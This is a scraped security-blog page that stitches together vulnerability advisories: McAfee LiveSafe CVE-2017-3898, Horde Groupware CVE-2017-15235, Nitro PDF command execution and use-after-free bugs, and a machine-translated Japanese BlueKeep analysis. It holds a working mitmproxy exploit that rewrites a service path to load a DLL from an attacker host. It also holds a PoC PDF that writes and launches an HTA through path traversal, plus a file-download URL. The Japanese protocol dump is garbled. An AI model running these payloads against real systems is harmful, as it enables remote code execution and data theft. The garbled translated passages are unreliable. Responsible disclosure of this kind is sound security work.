## Vulnerabilities Summary
The following advisory describes a Remote Command Execution found in McAfee McAfee LiveSafe (MLS) versions prior to 16.0.3. The vulnerability allows network attackers to modify the Windows registry value associated with the McAfee update via the HTTP backend-response.
McAfee Security Scan Plus is a free diagnostic tool that ensures you are protected from threats by actively checking your computer for up-to-date anti-virus, firewall, and web security software. It also scans for threats in any open programs.
## Credit
An independent security research company, Silent Signal, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
The vendor has released patches to address this vulnerability.
For more information: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714
CVE: CVE-2017-3898
## Vulnerabilities Details
An active network attacker can achieve remote code execution in multiple McAfee products. Affected products retrieve configuration data over plaintext HTTP channel from the http://COUNTRY.mcafee.com/apps/msc/webupdates/mscconfig.asp URL (where COUNTRY is a two letter country identifier, e.g. “uk”).
The response body contains XML formatted data, similar to the following:
```
<webservice-response response-version="1.0" frequency="168"
verid="1#1316#15#0#2">
<update>
<reg key="HKLM\SOFTWARE\McAfee\MSC\Settings\InProductTransaction"
name="enable" type="REG_DWORD" value="1" obfuscate="0"/>
</update>
</webservice-response>
```
The response describes a Registry modification with the reg tags under the webservice-response/update path.
This request and subsequent update is triggered automatically, first upon the installation of the software then after the number of hours indicated by the frequency attribute of the webservice-request node (168 minutes by default).
The update is executed by the PlatformServiceFW.dll of the McSvHost.exe process by invoking the mcsvrcnt.exe program with the /update argument. The McSvHost.exe process is running with SYSTEM privileges that is inherited by mcsvrcnt.exe that implements the Registry change.
As a result active network attackers can modify the server responses to write the Registry of the target with SYSTEM privileges.
## Proof of Concept
The exploit runs as a proxy that intercepts and modifies plaintext HTTP requests and responses. Since the target software performs certificate validation for HTTPS services it’s important to let these connections pass through without modification.
In regular HTTP proxy mode this can be achieved by using the --ignore command line parameter of mitmproxy:
```
mitmproxy -s mcreggeli_inline.py --ignore '.*'
```
In case of transparent proxy mode the above parameter should not be provided:
```
mitmproxy -s mreggeli_inline.py –T
```
For transparent proxy mode the following commands configure NAT and port redirection on common Debian-based Linux distributions (eth0 is the interface visible to the target, eth1 is connected to the internet):
```
iptables -t nat -A PREROUTING -i eth0 -p tcp \
--dport 80 -j REDIRECT --to 8080
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sysctl net.ipv4.ip_forward=1
```
The script looks for the “mscconfig.asp” string in the request URL. If found the XML response body is deserialized, and new reg nodes are added based on the REG variable declared at the beginning of the script. The REG variable is a list of dictionaries, each dictionary containing the following keys:
Key – The name of the Registry key to modify (e.g. “HKLM\SYSTEM\CurrentControlSet\Services\mfevtp”, backslashes should be escaped properly for Python)
Type – Type of the value to create (e.g. “REG_SZ” for strings)
Name – Name of the value to create
Value – Value to be created
The exploit also changes the frequency attribute to 1 so re-exploitation can be performed in shorter time (in 1 hour) if needed. After the new nodes are inserted, the resulting object is serialized and put in place of the original response body.
To demonstrate code execution one of the own service entries of the affected McAfee products (mfevtp – McAfee Process Validation Service) was overwritten: the ImagePath value of the HKLM\SYSTEM\CurrentControlSet\Services\mfevtp key was replaced to point the built-in rundll32.exe with an UNC path argument pointing to the attacker host (The payload (test.dll) was served with Metasploit’s smb_delivery module during testing):
The REG variable was declared like the following:
```
REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp", "type":"REG_SZ","name":"ImagePath", "value":"c:\\windows\\system32\\rundll32.exe \\\\172.16.205.1\\pwn\\test.dll,0"},]
```
In this way SYSTEM level command execution is triggered after the machine is restarted, the exploit was not caught by the McAfee software.
mcreggeli_inline.py
```
#!/usr/bin/env python3
#
# HTTP proxy mode:
# mitmproxy -s mcreggeli_inline.py --ignore '.*'
#
# Transparent proxy mode:
# mitmproxy -s mcreggeli_inline.py -T --host
#
from mitmproxy import ctx, http
from lxml import etree
REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp","type":"REG_SZ","name":"ImagePath","value":"c:\\windows\\system32\\rundll32.exe \\\\172.16.205.1\\pwn\\test.dll,0"},]
def response(flow):
if flow.request.scheme == "http" and "mscconfig.asp" in flow.request.url:
try:
oxml=etree.XML(flow.response.content)
oxml.set("frequency","1")
update=oxml.xpath("//webservice-response/update")[0]
for r in REG:
reg=etree.SubElement(update,"reg")
reg.set("key", r["key"])
reg.set("type", r["type"])
reg.set("obfuscate", "0")
reg.set("name", r["name"])
reg.set("value", r["value"])
#ctx.log(etree.tostring(oxml))
flow.response.content=etree.tostring(oxml)
ctx.log("[+] [MCREGGELI] Payload sent")
except etree.XMLSyntaxError:
ctx.log("[-] [MCREGGELI] XML deserialization error")
```
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863561062
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
## Vulnerability Summary
The following advisory describes an unauthorized file download vulnerability found in Horde Groupware version 5.2.21.
Horde Groupware Webmail Edition is “a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project. Horde Groupware Webmail Edition bundles the separately available applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo, Gollem, and Trean.”
## Credit
An independent security researcher, Juan Pablo Lopez Yacubian, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
Horde Groupware was informed of the vulnerability, to which they response with:
“this has already been reported earlier by someone else, and is already fixed in the latest Gollem and Horde Groupware releases.
Besides that, it’s not sufficient to have a list of the server’s users, you also need to exactly know the file name and path that you want to download. Finally, this only works on certain backends, where Horde alone is responsible for authentication, i.e. it won’t work with backends that require explicit authentication.”
CVE: CVE-2017-15235
## Vulnerability details
User controlled input is not sufficiently sanitized when passed to File Manager (gollem) module (version 3.0.11).
The “fn” parameter does not validate certain met characters by causing the requested file or filesystem to be downloaded without credentials.
It is only necessary to know the username and the file name.
## Proof of Concept
```
User = this is the username in horde
/ = the Meta character /
/services/download/?app=gollem&dir=%2Fhome%2Fuser&backend=sqlhome&fn=/test.php
```
## Vulnerabilities Summary
The following advisory describes three vulnerabilities found in Nitro / Nitro Pro PDF.
Nitro Pro is the PDF reader and editor that does everything you will ever need to do with PDF files. The powerful but snappy editor lets you change PDF documents with ease, and comes with a built-in OCR engine that can transform scanned documents into editable files. Fill up forms, annotate and sign them as part of your workflow, and easily merge multiple documents or delete selected pages as necessary.
If you use a large display or multiple monitors, NitroPDF also offers the ability to display PDF documents side-by-side so that you can pore through multiple documents. Of course, you could use AquaSnap to do that.
The vulnerabilities found in Nitro PDF are:
Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution
App.launchURL Command Execution
JPEG2000 npdf.dll Use-After-Free
Forms Parsing NPForms.npp Use-After-Free
File Parsing Count Field npdf.dll Memory Corruption
NewWindow Launch Action NPActions.npp Command
URI Action NPActions.npp Command Execution
This report contain the following vulnerabilities:
Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution
App.launchURL Command Execution
JPEG2000 npdf.dll Use-After-Free
## Credit
Two independent security researchers, Steven Seeley and anonymous, have reported these vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program.
## Vendor response
The vendor has released patches to address this vulnerability. “Number of the reported vulnerabilities have been resolved and confirmed, and will included in our next release of Nitro Pro, 11.05.”
For more details: https://www.gonitro.com/support/downloads#securityUpdates
CVE:
CVE-2017-2796
CVE-2017-7950
## Vulnerabilities Details
Doc.saveAs Directory Traversal Arbitrary File Write that lead to Command Execution
The Doc.saveAs function does not validate either the file extension, the content of the PDF or if the path contains traversals before saving it to disk.
An attacker can leverage this to write a malicious file to the operating system in any path. This alone can be used to achieve remote code execution by writing into the users startup folder.
App.launchURL Command Execution
The App.launchURL function allows an attacker to execute commands with the privileges of the currently running user. However, a security alert or warning is typically triggered when doing so.
This can be bypassed if a $ sign is used within the path. Note that if an attacker does this, they will execute the file from the current directory, which may not be ideal for exploitation.
Also note, that the App.launchURL function does not filter for space characters such as carriage return and line feeds. This can allow an attacker to spoof the file /url being launched.
## Doc.saveAs and App.launchURL Remote Code Execution Proof of Concept
```
%PDF-1.7
4 0 obj
<<
/Length 0
>>
stream
<script>
// enter your shellcode here
WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("c:/windows/system32/calc.exe", 1, false);
</script>
endstream endobj
5 0 obj
<<
/Type /Page
/Parent 2 0 R
/Contents 4 0 R
>>
endobj
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction [ 5 0 R /Fit ]
/Names <<
/JavaScript <<
/Names [
(EmbeddedJS)
<<
/S /JavaScript
/JS (
this.saveAs('../../../../../../../../../../../../../../../../Windows/Temp/si.hta');
app.launchURL('c$:/../../../../../../../../../../../../../../../../Windows/Temp/si.hta');
)
>>
]
>>
>>
>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids [ 5 0 R ]>>
endobj
3 0 obj
<<>>
endobj
xref
0 6
0000000000 65535 f
0000000166 00000 n
0000000244 00000 n
0000000305 00000 n
0000000009 00000 n
0000000058 00000 n
trailer <<
/Size 6
/Root 1 0 R
>>
startxref
327
%%EOF
```
## JPEG2000 npdf.dll Use-After-Free
When parsing a malformed embedded JPEG2000 image into a PDF the process will destroy an object in memory, forcing a pointer to be reused after it has been free. The reuse functions are located in the npdf.dll.
when browsing a folder with the mutated files and attaching to the newly launched dllhost.exe, WinDbg will show:
```
...
CNitroPDFThumbProvider::GetThumbnail - prepare device to renderCNitroPDFThumbProvider::GetThumbnail - render the page(1010.1038): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
npdf!CxRect2::Width+0x4f6f6:
000007fe`e592dd16 488b01 mov rax,qword ptr [rcx] ds:feeefeee`feeefeee=????????????????
...
...
000007fe`e592dd16 488b01 mov rax,qword ptr [rcx] ds:feeefeee`feeefeee=????????????????
000007fe`e592dd19 ff90d0000000 call qword ptr [rax+0D0h]
...
```
When opening the file with Nitro PDF Reader 32 BIT, WinDbg will show ex. :
```
...
(d7c.1210): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05fffda8 ebx=0133115c ecx=16cf6c38 edx=013311c0 esi=00000000 edi=00000000
eip=4f532f32 esp=01145614 ebp=01145628 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
4f532f32 ?? ???
...
1
2
3
4
5
6
7
8
9
...
(d7c.1210): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05fffda8 ebx=0133115c ecx=16cf6c38 edx=013311c0 esi=00000000 edi=00000000
eip=4f532f32 esp=01145614 ebp=01145628 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
4f532f32 ?? ???
...
eip is overwritten with random memory.
Disassembly of the prior call:
...
68dbff59 8b4af0 mov ecx,dword ptr [edx-10h]
68dbff5c 85c9 test ecx,ecx
68dbff5e 7409 je npdf!TerminateApp+0xb7d99 (68dbff69)
68dbff60 8b01 mov eax,dword ptr [ecx]
68dbff62 ff5010 call dword ptr [eax+10h]
...
1
2
3
4
5
6
7
...
68dbff59 8b4af0 mov ecx,dword ptr [edx-10h]
68dbff5c 85c9 test ecx,ecx
68dbff5e 7409 je npdf!TerminateApp+0xb7d99 (68dbff69)
68dbff60 8b01 mov eax,dword ptr [ecx]
68dbff62 ff5010 call dword ptr [eax+10h]
...
call stack:
...
# ChildEBP RetAddr Args to Child
00 01145610 68dbff65 694dc564 0133115c 01145678 0x4f532f32
01 01145628 691f7bab 0114567c 00000000 00000000 npdf!TerminateApp+0xb7d95
02 01145650 691f7a42 0114567c 03a1aa80 013311c0 npdf!CxRect2::Width+0x5220b
03 0114568c 691f7ab7 00000000 00000001 691ed76b npdf!CxRect2::Width+0x520a2
04 011456a0 6938952b 68c70000 00000000 00000001 npdf!CxRect2::Width+0x52117
05 011456e0 693894b2 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b8b
06 011456f4 77b092e0 68c70000 00000000 00000001 npdf!CxRect2::Width+0x1e3b12
07 01145714 77b29da4 69389496 68c70000 00000000 ntdll!RtlQueryEnvironmentVariable+0x241
08 011457b8 77b29c46 0133da3c 77b096e5 0133da40 ntdll!LdrShutdownProcess+0x141
09 011457cc 76ca79c5 00000000 77e8f3b0 ffffffff ntdll!RtlExitUserProcess+0x74
0a 011457e0 693926a6 ffffffff 01145834 69392aae kernel32!ExitProcess+0x15
0b 011457ec 69392aae ffffffff bf850c3a 16cf003a npdf!CxRect2::Width+0x1ecd06
0c 01145834 69392ad2 ffffffff 00000000 00000000 npdf!CxRect2::Width+0x1ed10e
0d 01145848 6916a9c7 ffffffff 690bb918 bf850c62 npdf!CxRect2::Width+0x1ed132
0e 0114586c 690ff453 bf850cb6 16cf003a 16cf0030 npdf!CxImage::Thumbnail+0x14907
0f 011458b8 690e7319 16cf003a 00000200 16cefdc0 npdf!CxImageJAS::Encode+0x5abb3
10 01145920 690dfc47 00000000 00000000 bf850d7a npdf!CxImageJAS::Encode+0x42a79
11 01145974 6907c89d 1691a5b0 00000000 bf85f4ca npdf!CxImageJAS::Encode+0x3b3a7
12 0114a0c4 6907da8e 0114aab4 0114ab04 bf85f556 npdf!CxImagePNG::user_write_data+0x6bc1d
13 0114a158 68eb0f95 0114aae4 00034627 00000000 npdf!CxImagePNG::user_write_data+0x6ce0e
14 0114a178 68eb1660 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88f35
15 0114a1d8 68eb0d1a 00000000 0404004c 0114aae4 npdf!CxImage::~CxImage+0x89600
16 0114aa80 68dea973 0114aae4 00034627 00000000 npdf!CxImage::~CxImage+0x88cba
17 0114ab28 68dea846 00000000 04080055 bf85ffb2 npdf!TerminateApp+0xe27a3
18 0114abbc 68dea566 00000000 04090034 bf85ffea npdf!TerminateApp+0xe2676
19 0114abe4 68d29e9b 00000000 04090034 00000002 npdf!TerminateApp+0xe2396
1a 0114ac0c 68d29952 00000000 04090034 00000002 npdf!TerminateApp+0x21ccb
1b 0114ac24 68f93f9b 00000000 04090034 00000002 npdf!TerminateApp+0x21782
1c 0114ac5c 68efe9c0 00001de2 00000ce4 000009f6 npdf!CxImage::~CxImage+0x16bf3b
1d 0114b6dc 68fa54c8 0114b77c bf85953e 061e8998 npdf!CxImage::~CxImage+0xd6960
1e 0114c130 68e3e6a6 16ba3598 00000000 00000000 npdf!CxImage::~CxImage+0x17d468
1f 0114c168 68e4133d 16c8c150 0114c1b0 16ba3438 npdf!CxImage::~CxImage+0x16646
20 0114c1a8 68e37ca2 061e8998 bf859df6 16ba3438 npdf!CxImage::~CxImage+0x192dd
21 0114c9f8 68e5b509 bf859a92 0575f818 16ba3438 npdf!CxImage::~CxImage+0xfc42
22 0114ce9c 68e5a956 0114d730 68e4016b 00000000 npdf!CxImage::~CxImage+0x334a9
23 0114cea4 68e4016b 00000000 014e4020 0114e14c npdf!CxImage::~CxImage+0x328f6
24 0114d730 68d786df 4b011fcc 0114e0fc 00000000 npdf!CxImage::~CxImage+0x1810b
25 0114dff8 68d7a771 4b011fcc 0114e0fc 00000000 npdf!TerminateApp+0x7050f
26 0114e020 014e6381 16bc08e8 0114e0f4 bc2b49e1 npdf!TerminateApp+0x725a1
27 0114e634 014eb65d 16ca1778 5b012454 0114e678 NitroPDF!CxIOFile::Write+0x92521
28 0114ee9c 73f8b443 0114eeb8 bf88cba9 16ca1778 NitroPDF!CxIOFile::Write+0x977fd
29 0114ef1c 73f9ae0c bf88cb9d 16ca1778 16ca1778 mfc120u+0x22b443
2a 0114efe0 73f9a901 0000000f 00000000 00000000 mfc120u+0x23ae0c
2b 0114f000 73f98f33 0000000f 00000000 00000000 mfc120u+0x23a901
2c 0114f070 73f99155 16ca1778 004509c0 0000000f mfc120u+0x238f33
2d 0114f090 73e97e8e 004509c0 0000000f 00000000 mfc120u+0x239155
2e 0114f0cc 76fa62fa 004509c0 0000000f 00000000 mfc120u+0x137e8e
2f 0114f0f8 76fa6d3a 73e97e5a 004509c0 0000000f USER32!gapfnScSendMessage+0x332
30 0114f170 76fa6de8 00000000 73e97e5a 004509c0 USER32!GetThreadDesktop+0xd7
31 0114f1cc 76fa6e44 02055d40 00000000 0000000f USER32!GetThreadDesktop+0x185
32 0114f208 77ae010a 0114f220 00000000 0114f274 USER32!GetThreadDesktop+0x1e1
33 0114f284 76fa788a 73e97e5a 00000000 0114f2c0 ntdll!KiUserCallbackDispatcher+0x2e
34 0114f294 73f886f2 012fa0f8 00000001 0178ef40 USER32!DispatchMessageW+0xf
35 0114f2c0 0153365e bc2b5389 ffffffff 0178ef40 mfc120u+0x2286f2
36 0114fc5c 73fabde4 00000000 00000020 00000001 NitroPDF!CxIOFile::Write+0xdf7fe
37 0114fc70 0164e72d 013e0000 00000000 012b3120 mfc120u+0x24bde4
38 0114fcbc 76ca336a 7efde000 0114fd08 77b09882 NitroPDF!CxImageJPG::CxExifInfo::process_SOFn+0x637dd
39 0114fcc8 77b09882 7efde000 741ca300 00000000 kernel32!BaseThreadInitThunk+0x12
3a 0114fd08 77b09855 0164e7ab 7efde000 ffffffff ntdll!RtlInitializeExceptionChain+0x63
3b 0114fd20 00000000 0164e7ab 7efde000 00000000 ntdll!RtlInitializeExceptionChain+0x36
...
```
## reuse function, npdf.dll:
```
;----------------------------------------------------------------------------------------------------
1014FF59 L1014FF59:
1014FF59 8B4AF0 mov ecx,[edx-10h]
1014FF5C 85C9 test ecx,ecx
1014FF5E 7409 jz L1014FF69
1014FF60 8B01 mov eax,[ecx] <--- ecx -> junk
1014FF62 FF5010 call [eax+10h] <--- Crash
1014FF65 85C0 test eax,eax
1014FF67 750C jnz L1014FF75
1014FF69 L1014FF69:
1014FF69 E8123D4300 call SUB_L10583C80
1014FF6E 8BC8 mov ecx,eax
1014FF70 8B10 mov edx,[eax]
1014FF72 FF5210 call [edx+10h]
1014FF75 L1014FF75:
1014FF75 8B4D08 mov ecx,[ebp+08h]
1014FF78 50 push eax
1014FF79 8B03 mov eax,[ebx]
1014FF7B 56 push esi
1014FF7C 8D0478 lea eax,[eax+edi*2]
1014FF7F 50 push eax
1014FF80 E83BC2FFFF call SUB_L1014C1C0
1014FF85 8B4508 mov eax,[ebp+08h]
1014FF88 5F pop edi
1014FF89 5E pop esi
1014FF8A 5B pop ebx
1014FF8B 8BE5 mov esp,ebp
1014FF8D 5D pop ebp
1014FF8E C20C00 retn 000Ch
;----------------------------------------------------------------------------------------------------
```
0x00脆弱性の説明
2019年5月15日に高リスクの脆弱性が公開されました。脆弱性には、Windows 2003、Windows 2008、Windows 2008 R2、Windows XPシステムなど、幅広い影響があります。このサーバーの脆弱性方法は、リモートデスクトップポート3389およびRDPプロトコルを介して攻撃されます。この脆弱性は、今年の最も有害な脆弱性であり、以前のランサムウェアであるEternal Blue Virusと同様です。 CVE-2019-0708の脆弱性は、ユーザーのID認証をチェックすることにより、相互作用なしに認証をバイパスし、RDPプロトコルを介して直接接続して、悪意のあるコード実行コマンドをサーバーに送信できることです。攻撃者によって悪用されると、サーバーの侵入、ウイルス、およびWannaCry Eternal Blueの脆弱性のような大規模な感染が引き起こされます。 2019年9月7日の午前1時頃、Metaspolitはそのエクスプロイトを更新しました
2019年5月、Microsoftは、リモートデスクトップサービス(RDS)のコードに存在する「BlueKeep」としても知られるリモートコード実行脆弱性CVE-2019-0708のパッチアップデートをリリースしました。この脆弱性は事前に認識されており、ユーザーの相互作用は必要ありません。したがって、潜在的な武器化されたワームの性的搾取の危険性があります。この脆弱性が正常に悪用されている場合、システム権限を使用して任意のコードを実行できます。 Microsoft Security Response Centerの推奨事項は、この脆弱性もWannaCryやAtheemauditなどの攻撃と同様にワーム攻撃になる可能性があることを示唆しています。この脆弱性の深刻さとユーザーへの潜在的な影響により、MicrosoftはWindowsユーザーを保護するためにサポートされなくなったWindows XPオペレーティングシステムのパッチを発行するためのまれな早期警告ステップを踏んでいます。
0x01脆弱性の影響
この脆弱性は、Windows 7、Windows Server 2008 R2、Windows Server 2008、Windows 2003、Windows XPなど、古いバージョンのWindowsシステムに影響します。 Windows 8およびWindows 10以降は、この脆弱性の影響を受けません。
0x02 CVE_2019_0708_BLUEKEEP_RCE.RBはじめに
このPRは、RDPを介してリリースされた後に脆弱性を悪用するCVE-2019-0708(別名BlueKeep)のエクスプロイトモジュールを追加します。 RDP Termdd.Sysドライバーは、内部的にのみMS_T120へのバインディングを適切に処理しないため、不正な切断プロバイダー表示メッセージをリリース後に使用できます。制御可能なデータとリモートの非ページのプールヒープジェットを使用して、アイドルチャネル用の間接コールウィジェットを使用して任意のコード実行を実装します。
このモジュールはもともと @Zerosum0x0と@Ryhansonによって開発され、その後@OJ、@ZeroSteiner、 @rickoates、 @wvutters-r7、 @wchen-r7、 @tsellers-r7、 @todb-r7などによってさらに開発されました。 MetasploitのRDPやその他のライブラリの機能強化を活用するために、モジュールはPython外部モジュールからネイティブRubyモジュールに移植されます。現在の実装と比較して比較する場合、元のPythonモジュールはコミット履歴にあります。
このモジュールは現在、Windows 7およびWindows Server 2008 R2の64ビットバージョンをターゲットにしています。 Windows Server 2008 R2の場合、RDPSNDチャネルを介してヒープジェットを有効にするためにレジストリキーを変更する必要がありますが、すべてのWindowsオペレーティングシステムでデフォルトで有効にされる他の代替チャネルがあります。
ユーザーは追加のターゲット情報を提供する必要があるか、ターゲットホストをクラッシュさせるリスクがあるため、このモジュールは現在、手動モジュールとしてリストされています。モジュールは、脆弱なホストのみをチェックし、特定のターゲットオペレーティングシステムに関するいくつかの初期情報を表示するデフォルトのポイントのみのターゲットオプションを実装しますが、ユーザーは補助偵察に基づいてより正確なターゲットを指定する必要があります。
未収、ベアメタル、バーチャルボックス、VMware、およびHyper-Vには特定のターゲットがありますが、ターゲット環境には、基礎となるアドレスをさらに移動する他の変数が存在する場合があります。
0x03脆弱性分析
1。 PDU
MS-RDPBCGR(リモートデスクトッププロトコル:接続およびリモート処理)ドキュメント、ビットマップキャッシュPDUのフルネームはTS_BITMAPCACHE_PERSISTENT_LIST_PDUであり、キーリストPDUデータは、キーリストPDUに組み込まれています。永続的なキーリストPDUは、クライアントからサーバーに送信されるRDP接続シーケンスPDUです。
RDPジャンクションシーケンスの接続完了ステージを図1に示します。
図1。リモートデスクトッププロトコル(RDP)接続シーケンス
永続的なキーリストPDUヘッダーは、図2に示すように、次のように構築された一般的なRDP PDUヘッダーです。
図2。クライアントの永続的なキーリストPDU
MS-RDPBCGRのドキュメントによると、TS_BITMAPCACHE_PERSISTENT_LIST_PDUは、前のセッションで送信されたキャッシュビットマップから保存されたキャッシュビットマップキーのリストを含む構造です。図3に示すように。
図3。永続的なキーリストPDUデータ(BITMAPCACHE PRESSINTERT LIST PDU)
設計上、BitMap Cache PDUは、RDPクライアントによって使用され、サーバーにキーに関連付けられたビットマップのローカルコピーがあることを通知し、サーバーがクライアントにビットマップを再送信する必要がないことを示します。 MS-RDPBCGRドキュメントに基づいて、BitMap PDUには4つの特性があります。
RDPサーバーは、カーネルプールを割り当てて、キャッシュされたビットマップキーを保存します。
RDPサーバーによって割り当てられたカーネルプールサイズは、構造内のnumentriesCache Xフィールドによって制御でき、BitMapCache PersistentのTotalentriesCache XはRDPクライアントのリスト構造です。
ビットマップキーは複数回永続的なキーリストPDUで送信できるため、ビットマップキャッシュPDUを複数回合法的に送信できます。各PDUはBbitMaskフィールドのタグでマークされています。
ビットマップキーの数は169に制限されています。
BitMapCache Persistent List PDUのこれらの4つの機能に基づいて、169に制限されたビットマップキーの数をバイパスできる場合、データはカーネルに書き込むことができます。
2. PDUを使用してカーネルにデータを書き込む方法
MS-RDPBCGRドキュメントによると、通常復号化されたBitMapCache Persistent List PDUは次のとおりです。
F200-TS_SHARECONTROLHEADER:3360TOTALLENGTH=0x00F2=242BYTES1700-TS_SHARECONTROLHEADER:3:PDUTYPE=0x00170x0017=0x0010 |0x0007=ts_protocol_version | pdutype_datapduef03-ts_sharecontrolheader3:pdusource=0x03ef=1007e A030100-TS_SHAREDATAHEADER3:3360SHAREID=0x000103EA00-TS_SHAREDATAHEADER:3360PAD101-TS_SHAREDATAHEADER3336 0:STREAMID=Stream_Low(1)0000-TS_SHAREDATAHEADER:3360UNCOMPRESSEDLENGTH=02B-TS_SHAREADATAHEADER:PD UTYPE2=PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST(43)00-TS_SHAREDATAHEADER:GENERALCOMPRESSTYPE=00000-TS_SHARE DataHeader:GeneralCompressedLength=00000-TS_BITMAPCACHE_PERSISTENT_LIST:3360NUMENTRIES [0]=00000-TS_B itmapcache_persistent_list:3360numentries [1]=01900-ts_bitmapcache_persist_list3:3360numentries [2]=0x19=250000-ts_bitmapcache_persist_list3333333:nummumentries [3 ]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:numEntries[3]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:numEntries[3]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:numEnt Ries [4]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:3360TOTALENTRIES [0]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:333 60Totalentries [1]=01900-TS_BITMAPCACHE_PERSISTENT_LIST:3360TOTALENTRIES [2]=0x19=250000-TS_BITMAPCACHE_PERSIST ENT_LIST:TOTALENTRIES [3]=00000-TS_BITMAPCACHE_PERSISTENT_LIST:3360TOTALENTRIES [4]=003-TS_BITMAPCACHE _persistent_list:3360bbitmask=0x030x03=0x01 |0x02=festive_first_pdu | stabe_last_pdu00-ts_bitmapcache_persiste nt_list:pad20000-ts_bitmapcache_persist_list:pad3ts_bitmapcache_persistent_list:3360entr IES:A31E5116-CACHE2、key0、low32-bits(ts_bitmapcache_persist_list_entry:key1)48292278-cache2、key0、hi GH32ビット(TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY:KEKEY2)61F7899C-CACHE2、KEY1、LOW32ビット(TS_BITMAPCACHE_PERSIS TENT_LIST_ENTRY:3360KEY1)CDA966A8-CACHE2、KEY1、HIGH32ビット(TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY:KEY2)
カーネルモジュールrdpwd.sysでは、関数ルーチンShareclass : SBC_HANDLEPERSISTENTCACHELISTがBitMapCache Persistent List PDUを解析する責任があります。構造内のBbitMaskフィールドがビット値0x01に設定されると、現在のPDUが永続的な最初のPDUであることを示します。次に、SBC_HANDLEPERSISTENTCACHELISTはWDLIBRT_MEMALLOCを呼び出してカーネルプール(カーネルメモリを割り当てる)を割り当てて、図4に示すように永続的なビットマップキャッシュキーを保存します。値0x00は、現在のPDUが永続的な中央PDUであることを示します。値0x02は、現在のPDUが永続的な最後のPDUであることを示しています。持続中央のPDUと永続的な最後のPDUを解析すると、SBC_HANDLEPERSISTENTCACHELISTは、図5に示すように、以前に割り当てられたメモリにビットマップキャッシュキーをコピーします。
図4。SBC_HANDLEPERSISTENTCACHELISTプールの割り当てとTotalErtriesCacheLimitチェック
図5。SBC_HANDLEPERSISTENTCACHELISTコピービットマップキャッシュキー
Windows 7 x86のスタックトレースの2番目のパラメーターとSBC_HandlePersistEntCacheListのTS_BITMAPCACHE_PERSISTENT_LIST構造を図6および図7に示します。
図6。SBC_HANDLEPERSISTENTCACHELISTスタックトレース
図7。TS_BITMAPCACHE_PERSISTENT_LIST構造SBC_HANDLEPERSISTENTCACHELISTの2番目のパラメーターとして
図4に示すように、BitmapCachElistPoollen=0xc *(Total Length + 4)およびTotal Entriescache0 + Totalentriescache1 + Totalentriescache2 + Totalentriescache3 + TotalentriesCache4。
この式に基づいて、「Word値」TotalErtriesCache x=0xffffを設定して、BitMapCachElistPoolenを最大値にすることができます。ただし、図8に示すTotalErtriesCache Xごとに、TotalErtriesCacheLimitチェックがあります。
TotalErtriesCachelimit Xは、図8に示すように、capapi_capability_niTがrdpwdを介して呼び出される場合、capapi_load_load_ts_bitmapcache_capabilityseset_rev2機能で開始されるts_bitmapcache_capabilityset_rev2構造に由来します。図9に示すように、PDUの確認を解析します。
図8。RDPWD! capapi_load_ts_bitmapcache_capabilityset_rev2
図9。RDPWD! capapi_combine_ts_bitmapcache_capabilityset_rev2
capapi_combine_ts_bitmapcache_capabilityset_rev2は、サーバースタートしたnumcellcaches(0x03)およびtotalentriescachelimit [0-4](0x258、0x258、0x10000、0x0、0x0)をクライアントのリクエスト(0x03)およびcothelcaches(0x03)およびcombines (0x80000258、0x80000fffc、0x0)、図9のEDXおよびESIレジスタに示すように。
図10に示すように、クライアントはnumcellcachesとtotalentriescache [0-4]を制御できますが、図11に示すように、サーバースタートしたnumcellcaches(0-4]およびtotalentriescachelimit [0-4]](0x258、0x258、0x10000、0x0、0x0)で制御することはできません。
図10。ts_bitmapcache_capabilityset_rev2
図11。Capapi_combine_ts_bitmapcache_capabilityset_rev2関数
この情報を使用すると、最大bitmapcachelistpoollen=0xc *(0x10000 +0x258 +0x258 + 4)=0xc3870を計算できます。
図12。永続的なキーリストPDUメモリダンプ
